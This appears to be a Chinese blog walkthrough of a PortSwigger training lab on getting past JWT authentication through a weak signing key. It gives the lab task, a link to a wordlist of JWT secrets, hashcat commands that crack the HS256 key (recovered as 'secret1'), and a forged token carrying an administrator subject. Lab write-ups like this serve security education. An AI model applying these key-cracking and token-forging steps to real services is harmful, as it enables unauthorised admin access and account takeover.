从业者-密钥暴力破解
# 实验室:通过弱签名密钥绕过JWT身份验证
# 题目
此实验室使用基于 JWT 的机制来处理会话。它使用一个非常脆弱的密钥来签名和验证令牌。通过使用常见的密钥单词列表 (opens new window),可以很容易地对其进行暴力破解。
若要解决实验室问题,请先对网站的密钥进行暴力破解。获取此密钥后,使用该密钥对修改后的会话令牌进行签名,然后访问位于/admin
的管理面板并删除carlos
用户。
你可以使用以下凭据登录到自己的帐户:wiener
:peter
。
提示
在尝试此实验之前,我们建议你先熟悉一下如何在 BurpSuite 中使用 JWTs (opens new window)。
我们还建议使用 hashcat 来对密钥进行暴力破解。有关如何执行此操作的详细信息,请参阅使用 hashcat 暴力破解密钥 (opens new window)。
- name: 实验室-从业者
desc: 通过弱签名密钥绕过JWT身份验证 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
# 下载密钥列表
https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
# 获取原始JWT
点击 “ACCESS THE LAB” 进入实验室。
eyJraWQiOiI4NjkxZTVmMS0zZTk3LTRhNmQtYjE0OS0zZGFjNmM4YTg5NjUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODE2NTk3OSwic3ViIjoid2llbmVyIn0.aUIapxJFMWYJyYsEwfCJV5JWX_RdUFuaqYJOZSd-2Qo
1
# 执行暴力破解
hashcat -a 0 -m 16500 <jwt> <wordlist>
hashcat -a 0 -m 16500 <jwt> <wordlist> --show
1
2
2
secret1
1
# 生成新的对称密钥
eyJraWQiOiI4NjkxZTVmMS0zZTk3LTRhNmQtYjE0OS0zZGFjNmM4YTg5NjUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODE3MDE3Nywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.qJRqJSSehBXO4WarwwzuTt1D2uUhbzLAPpFFPvMweEE
1
# 篡改令牌并重新签名
编辑 (opens new window)